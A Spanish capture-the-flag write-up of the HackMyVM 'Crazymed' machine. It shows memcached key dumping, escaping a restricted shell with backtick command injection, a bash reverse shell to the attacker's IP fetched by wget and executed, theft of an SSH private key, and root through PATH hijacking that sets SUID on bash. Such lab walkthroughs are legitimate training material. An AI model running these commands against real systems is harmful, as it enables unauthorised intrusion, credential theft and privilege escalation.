Crazymed
Hoy realizaremos una máquina “easy” de HackMyVM recién subida a la plataforma, recomendada por elc4br4.
He de decir que me echó un cable en su resolución para no ir dando palos de ciego y perder tiempo, ya que tiene mucha más experiencia, así que vamos al grano.
Reconocimiento de Puertos
En primer lugar averiguamos la IP de la máquina víctima:
❯ sudo arp-scan -l | grep "PCS"
192.168.0.25 08:00:27:af:db:fb PCS Systemtechnik GmbH
Ahora realizamos el reconocimiento de puertos abiertos:
❯ sudo nmap -p- -sS --min-rate 5000 --open -Pn -vvv -n 192.168.0.25
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
4444/tcp open krb524 syn-ack ttl 64
11211/tcp open memcache syn-ack ttl 64
Realizamos un escaneo más avanzado para obtener más información sobre estos puertos.
❯ nmap -sCV -p22,80,4444,11211 192.168.0.25
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 db:fb:b1:fe:03:9c:17:36:83:ac:6b:c0:52:ad:a0:05 (RSA)
| 256 56:3b:7c:e3:23:4a:25:5a:be:54:d1:2e:9d:44:9a:06 (ECDSA)
|_ 256 81:d4:2e:47:33:34:a9:6f:10:70:c1:90:80:aa:b6:6a (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-title: Crazymed Bootstrap Template - Index
|_http-server-header: Apache/2.4.54 (Debian)
4444/tcp open krb524?
| fingerprint-strings:
| GetRequest:
| [1;97mW
| [1;97me
| [1;97ml
| [1;97mc
| [1;97mo
| [1;97mm
| [1;97me
| [1;97m
| [1;97mt
| [1;97mo
| [1;97m
| [1;97mt
| [1;97mh
| [1;97me
| [1;97m
| [1;97mC
| [1;97mr
| [1;97ma
| [1;97mz
| [1;97my
| [1;97mm
| [1;97me
| [1;97md
| [1;97m
| [1;97mm
| [1;97me
| [1;97md
| [1;97mi
| [1;97mc
| [1;97ma
| [1;97ml
| [1;97m
| [1;97mr
| [1;97me
| [1;97ms
| [1;97me
| [1;97ma
| [1;97mr
| [1;97mc
| [1;97mh
| [1;97m
| [1;97ml
| [1;97ma
| [1;97mb
| [1;97mo
| [1;97mr
| [1;97ma
| [1;97mt
| [1;97mo
| [1;97mr
| [1;97my
| [1;97m.
| tests are performed on human volunteers for a fee.
| Password:
| [1;31mAccess denied.
| Password:
| [1;31mAccess denied.
| Password:
| NULL:
| [1;97mW
| [1;97me
| [1;97ml
| [1;97mc
| [1;97mo
| [1;97mm
| [1;97me
| [1;97m
| [1;97mt
| [1;97mo
| [1;97m
| [1;97mt
| [1;97mh
| [1;97me
| [1;97m
| [1;97mC
| [1;97mr
| [1;97ma
| [1;97mz
| [1;97my
| [1;97mm
| [1;97me
| [1;97md
| [1;97m
| [1;97mm
| [1;97me
| [1;97md
| [1;97mi
| [1;97mc
| [1;97ma
| [1;97ml
| [1;97m
| [1;97mr
| [1;97me
| [1;97ms
| [1;97me
| [1;97ma
| [1;97mr
| [1;97mc
| [1;97mh
| [1;97m
| [1;97ml
| [1;97ma
| [1;97mb
| [1;97mo
| [1;97mr
| [1;97ma
| [1;97mt
| [1;97mo
| [1;97mr
| [1;97my
| [1;97m.
| tests are performed on human volunteers for a fee.
|_ Password:
11211/tcp open memcached Memcached 1.6.9 (uptime 2876 seconds)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4444-TCP:V=7.92%I=7%D=11/18%Time=63777A02%P=x86_64-pc-linux-gnu%r(N
SF:ULL,2C3,"\x1b\[H\x1b\[2J\x1b\[3J\x1b\[1;97mW\x1b\[0m\x1b\[1;97me\x1b\[0
SF:m\x1b\[1;97ml\x1b\[0m\x1b\[1;97mc\x1b\[0m\x1b\[1;97mo\x1b\[0m\x1b\[1;97
SF:mm\x1b\[0m\x1b\[1;97me\x1b\[0m\x1b\[1;97m\x20\x1b\[0m\x1b\[1;97mt\x1b\[
SF:0m\x1b\[1;97mo\x1b\[0m\x1b\[1;97m\x20\x1b\[0m\x1b\[1;97mt\x1b\[0m\x1b\[
SF:1;97mh\x1b\[0m\x1b\[1;97me\x1b\[0m\x1b\[1;97m\x20\x1b\[0m\x1b\[1;97mC\x
SF:1b\[0m\x1b\[1;97mr\x1b\[0m\x1b\[1;97ma\x1b\[0m\x1b\[1;97mz\x1b\[0m\x1b\
SF:[1;97my\x1b\[0m\x1b\[1;97mm\x1b\[0m\x1b\[1;97me\x1b\[0m\x1b\[1;97md\x1b
SF:\[0m\x1b\[1;97m\x20\x1b\[0m\x1b\[1;97mm\x1b\[0m\x1b\[1;97me\x1b\[0m\x1b
SF:\[1;97md\x1b\[0m\x1b\[1;97mi\x1b\[0m\x1b\[1;97mc\x1b\[0m\x1b\[1;97ma\x1
SF:b\[0m\x1b\[1;97ml\x1b\[0m\x1b\[1;97m\x20\x1b\[0m\x1b\[1;97mr\x1b\[0m\x1
SF:b\[1;97me\x1b\[0m\x1b\[1;97ms\x1b\[0m\x1b\[1;97me\x1b\[0m\x1b\[1;97ma\x
SF:1b\[0m\x1b\[1;97mr\x1b\[0m\x1b\[1;97mc\x1b\[0m\x1b\[1;97mh\x1b\[0m\x1b\
SF:[1;97m\x20\x1b\[0m\x1b\[1;97ml\x1b\[0m\x1b\[1;97ma\x1b\[0m\x1b\[1;97mb\
SF:x1b\[0m\x1b\[1;97mo\x1b\[0m\x1b\[1;97mr\x1b\[0m\x1b\[1;97ma\x1b\[0m\x1b
SF:\[1;97mt\x1b\[0m\x1b\[1;97mo\x1b\[0m\x1b\[1;97mr\x1b\[0m\x1b\[1;97my\x1
SF:b\[0m\x1b\[1;97m\.\x1b\[0m\nAll\x20our\x20tests\x20are\x20performed\x20
SF:on\x20human\x20volunteers\x20for\x20a\x20fee\.\n\n\nPassword:\x20")%r(G
SF:etRequest,30D,"\x1b\[H\x1b\[2J\x1b\[3J\x1b\[1;97mW\x1b\[0m\x1b\[1;97me\
SF:x1b\[0m\x1b\[1;97ml\x1b\[0m\x1b\[1;97mc\x1b\[0m\x1b\[1;97mo\x1b\[0m\x1b
SF:\[1;97mm\x1b\[0m\x1b\[1;97me\x1b\[0m\x1b\[1;97m\x20\x1b\[0m\x1b\[1;97mt
SF:\x1b\[0m\x1b\[1;97mo\x1b\[0m\x1b\[1;97m\x20\x1b\[0m\x1b\[1;97mt\x1b\[0m
SF:\x1b\[1;97mh\x1b\[0m\x1b\[1;97me\x1b\[0m\x1b\[1;97m\x20\x1b\[0m\x1b\[1;
SF:97mC\x1b\[0m\x1b\[1;97mr\x1b\[0m\x1b\[1;97ma\x1b\[0m\x1b\[1;97mz\x1b\[0
SF:m\x1b\[1;97my\x1b\[0m\x1b\[1;97mm\x1b\[0m\x1b\[1;97me\x1b\[0m\x1b\[1;97
SF:md\x1b\[0m\x1b\[1;97m\x20\x1b\[0m\x1b\[1;97mm\x1b\[0m\x1b\[1;97me\x1b\[
SF:0m\x1b\[1;97md\x1b\[0m\x1b\[1;97mi\x1b\[0m\x1b\[1;97mc\x1b\[0m\x1b\[1;9
SF:7ma\x1b\[0m\x1b\[1;97ml\x1b\[0m\x1b\[1;97m\x20\x1b\[0m\x1b\[1;97mr\x1b\
SF:[0m\x1b\[1;97me\x1b\[0m\x1b\[1;97ms\x1b\[0m\x1b\[1;97me\x1b\[0m\x1b\[1;
SF:97ma\x1b\[0m\x1b\[1;97mr\x1b\[0m\x1b\[1;97mc\x1b\[0m\x1b\[1;97mh\x1b\[0
SF:m\x1b\[1;97m\x20\x1b\[0m\x1b\[1;97ml\x1b\[0m\x1b\[1;97ma\x1b\[0m\x1b\[1
SF:;97mb\x1b\[0m\x1b\[1;97mo\x1b\[0m\x1b\[1;97mr\x1b\[0m\x1b\[1;97ma\x1b\[
SF:0m\x1b\[1;97mt\x1b\[0m\x1b\[1;97mo\x1b\[0m\x1b\[1;97mr\x1b\[0m\x1b\[1;9
SF:7my\x1b\[0m\x1b\[1;97m\.\x1b\[0m\nAll\x20our\x20tests\x20are\x20perform
SF:ed\x20on\x20human\x20volunteers\x20for\x20a\x20fee\.\n\n\nPassword:\x20
SF:\x1b\[1;31mAccess\x20denied\.\x1b\[0m\n\nPassword:\x20\x1b\[1;31mAccess
SF:\x20denied\.\x1b\[0m\n\nPassword:\x20");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Buen trolleo de la información obtenida 😂
Buscando vector de ataque
Como no tenemos ningún tipo de información acerca de user/pass de SSH (puerto 22), vamos a empezar por el puerto 80.
Puerto 80
Comprobamos qué contenido muestra el HTTP:
Y si miramos el código de la página con ctrl+u tampoco vemos nada, parece una web por defecto.
De momento, dejamos esa vía y pasamos a la siguiente.
El puerto 4444 parece ser Netcat, pero no tenemos contraseña, así que pasamos al siguiente.
Puerto 11211
Parece que se trata del servicio Memcached, que si miramos en la web oficial https://memcached.org/ nos indica:
Free & open source, high-performance, distributed memory object caching system
En la misma página oficial nos da una pista importante a modo de ejemplo:
Play with telnet
$ telnet localhost 11211
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
get foo
VALUE foo 0 2
hi
END
stats
STAT pid 8861
(etc)
De esta forma, sabemos que el vector de ataque es mediante Telnet al servicio Memcached a través del puerto 11211. Aquí estaba bastante perdido, pero como siempre, Google es nuestro mejor amigo, por lo que buscando “pentest memcached” nos llevó a este artículo: https://www.hackingarticles.in/penetration-testing-on-memcached-server/
Sigo los pasos del artículo y llego a esto introduciendo stats cachedump 1 0
:
❯ telnet 192.168.0.25 11211
Trying 192.168.0.25...
Connected to 192.168.0.25.
Escape character is '^]'.
stats cachedump 1 0
ITEM domain [8 b; 0 s]
ITEM server [9 b; 0 s]
ITEM log [18 b; 0 s]
ITEM conf_location [21 b; 0 s]
END
Ahora realizamos get log
:
get log
VALUE log 0 18
password: cr4zyM3d
END
Y ya tenemos una contraseña
Puerto 4444
Nos conectamos por Netcat:
nc 192.168.0.25 4444
Aplicamos la contraseña por Netcat:
Como podemos observar solo tenemos 4 comandos disponibles, mediante los cuales no nos permite hacer nada… ¿ o sí?
La clave está en la sustitución de comandos.
De aquí sacamos las siguientes conclusiones:
- Estamos accediendo como un usuario que se llama brad
- No sé si es un fallo intencionado o no, pero who nos indicaría los usuarios logueados en la máquina
- Sí funciona whoami en su defecto, el cual nos indica de nuevo que estamos conectados como brad
- No le gusta que juguemos con “$”, lo considera un ataque
Ahora vamos a probar a capturar la salida del mismo comando “echo $(cat /etc/passwd)” pero escrito de la otra forma que existe, con acentos graves.
System command: echo `cat /etc/passwd`
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:109::/nonexistent:/usr/sbin/nologin systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin avahi-autoipd:x:105:114:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin sshd:x:106:65534::/run/sshd:/usr/sbin/nologin brad:x:1000:1000:brad,,,:/home/brad:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin memcache:x:107:115:Memcached,,,:/nonexistent:/bin/false
¡VOILÀ!, con esto hemos conseguido “escapar” de ese contexto, con el fin de utilizar otros comandos que no estaban planeados.
De esta forma, ahora vamos a intentar meter una reverse shell para conseguir una terminal.
Explotación
Lo que haremos en primer lugar es crear la reverse shell, es decir, crear un script para que envíe una terminal bash por TCP a la IP de mi máquina por el puerto 443.
El fichero lo creamos como “shell.sh” y tendrá este aspecto:
#!/bin/bash
bash -i >& /dev/tcp/192.168.0.24/443 0>&1
Ahora le damos permisos de ejecución:
chmod +x shell.sh
Creamos en la misma ruta un servidor en Python para “alojar” el script (por defecto si no se especifica se crea con puerto 8000).
python3 -m http.server
Ahora realizamos otra sustitución de comandos desde la máquina víctima para traernos el shell:
System command: echo `wget http://192.168.0.24:8000/shell.sh`
El intérprete no nos dirá nada como es lógico, por lo que para saber si ha funcionado miraremos en nuestra máquina donde tenemos el servidor montado:
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.0.25 - - [18/Nov/2022 21:55:40] "GET /shell.sh HTTP/1.1" 200 -
Ha funcionado correctamente tal y como se puede observar con el código 200.
Ahora ya podemos cerrar el servidor de Python y nos ponemos en escucha con Netcat:
❯ sudo nc -nlvp 443
[sudo] password for kaian:
listening on [any] 443 ...
Ahora ejecutamos el shell en la máquina víctima:
System command: echo `bash ./shell.sh`
Nos vamos a nuestra ventana del Netcat y… chimpún:
connect to [192.168.0.24] from (UNKNOWN) [192.168.0.25] 45012
bash: cannot set terminal process group (332): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ ls
ls
shell.sh
user.txt
Y ahí tenemos ya nuestra flag de user
Escalada de privilegios
Toca buscar la forma de convertirse en root.
bash-5.1$ ls -la
ls -la
total 3868
drwxr-xr-x 4 brad brad 4096 Nov 19 00:51 .
drwxr-xr-x 3 root root 4096 Oct 31 18:14 ..
lrwxrwxrwx 1 root root 9 Nov 19 00:51 .bash_history -> /dev/null
-rw-r--r-- 1 brad brad 220 Oct 26 08:35 .bash_logout
-rw-r--r-- 1 brad brad 3526 Oct 31 18:12 .bashrc
drwxr-xr-x 3 brad brad 4096 Nov 1 18:52 .local
-rw-r--r-- 1 brad brad 807 Oct 26 08:35 .profile
-rw-r--r-- 1 brad brad 55 Nov 18 02:00 shell.sh
drwx------ 2 brad brad 4096 Oct 29 11:13 .ssh
-rwx------ 1 brad brad 33 Oct 31 11:18 user.txt
-rw-r--r-- 1 brad brad 165 Oct 31 17:55 .wget-hsts
bash-5.1$ ls -la .ssh
ls -la .ssh
total 16
drwx------ 2 brad brad 4096 Oct 29 11:13 .
drwxr-xr-x 4 brad brad 4096 Nov 19 00:55 ..
-rw-r--r-- 1 brad brad 564 Oct 29 11:09 authorized_keys
-rw------- 1 brad brad 2590 Oct 29 11:09 id_rsa
bash-5.1$ cat id_rsa
cat id_rsa
cat: id_rsa: No such file or directory
bash-5.1$ cat .ssh/id_rsa
cat .ssh/id_rsa
Ahí como se puede ver, descubrimos una clave privada, la idea es copiar el contenido de la misma para replicarla en la máquina atacante, recordad que debe tener permiso 600.
La única finalidad de esto, es conectarnos vía SSH y tener una terminal interactiva sin necesidad de tratamiento. Así también podemos recuperar el acceso rápidamente en caso de cualquier problema (de hecho se me colgó la TTY de la reverse shell y tuve que volver a lanzarla 😂).
Nos conectamos vía SSH al puerto 22 que vimos que estaba abierto, con la clave privada y con el usuario brad que descubrimos:
❯ ssh -i id_rsa brad@192.168.0.25
Linux crazymed 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Nov 18 02:33:45 2022 from 192.168.0.24
-bash-5.1$
Antes de nada, realizamos un pequeño tratamiento, para que nos funcione el backspace, tab, nano… etc
-bash-5.1$ export TERM=xterm
-bash-5.1$ export SHELL=bash
En este punto, vamos a volver a montar el servidor en Python y subir a la máquina víctima 2 herramientas con wget: linpeas.sh y pspy64 (mismo proceso que antes, ya no lo detallo).
Estas nos ayudarán a detectar por donde podemos buscar el vector de ataque:
Ejecutamos ./linpeas.sh
y de todas las líneas del resultado de linpeas.sh nos vamos a quedar con esto:
Hacemos lo propio con ./pspy64
y nos quedamos con esto (hay otro proceso explotable al menos, pero es más largo):
2022/11/19 01:36:01 CMD: UID=0 PID=66886 | /bin/bash /opt/check_VM
2022/11/19 01:36:01 CMD: UID=0 PID=66887 | /bin/bash /opt/check_VM
2022/11/19 01:36:01 CMD: UID=0 PID=66890 | /bin/bash /opt/check_VM
2022/11/19 01:36:01 CMD: UID=0 PID=66889 | /bin/bash /opt/check_VM
2022/11/19 01:36:01 CMD: UID=0 PID=66888 | /bin/bash /opt/check_VM
2022/11/19 01:36:01 CMD: UID=0 PID=66891 | /bin/bash /opt/check_VM
2022/11/19 01:36:01 CMD: UID=0 PID=66892 | /bin/bash /opt/check_VM
2022/11/19 01:36:01 CMD: UID=0 PID=66893 | /bin/bash /opt/check_VM
2022/11/19 01:36:01 CMD: UID=0 PID=66894 | /bin/bash /opt/check_VM
2022/11/19 01:36:01 CMD: UID=0 PID=66895 | /bin/bash /opt/check_VM
Vemos ese script:
-bash-5.1$ cat /opt/check_VM
#! /bin/bash
#users flags
flags=(/root/root.txt /home/brad/user.txt)
for x in "${flags[@]}"
do
if [[ ! -f $x ]] ; then
echo "$x doesn't exist"
mcookie > $x
chmod 700 $x
fi
done
chown -R www-data:www-data /var/www/html
#bash_history => /dev/null
home=$(cat /etc/passwd |grep bash |awk -F: '{print $6}')
for x in $home
do
ln -sf /dev/null $x/.bash_history ; eccho "All's fine !"
done
find /var/log -name "*.log*" -exec rm -f {} +
Bien, con esto ya tenemos claro cómo proceder, vamos a realizar un Path Hijacking, ya que tenemos un directorio vulnerable que ya está en el PATH.
De esta forma, la idea es secuestrar un binario del sistema que utilice ese script, como puede ser chmod, chown o find.
Por tanto, vamos a crear un fichero llamado “chmod” donde vamos a dar permisos SUID al binario de bash, de esta forma, al ejecutarlo automáticamente el script nos dará root.
-bash-5.1$ cd /usr/local/bin
-bash-5.1$ echo "chmod +s /bin/bash" > chmod
-bash-5.1$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
-bash-5.1$ bash -p
bash-5.1# whoami
root
bash-5.1# ls /root
root.txt
Pues así conseguimos la flag de root. Espero que os haya gustado y nos vemos en la próxima.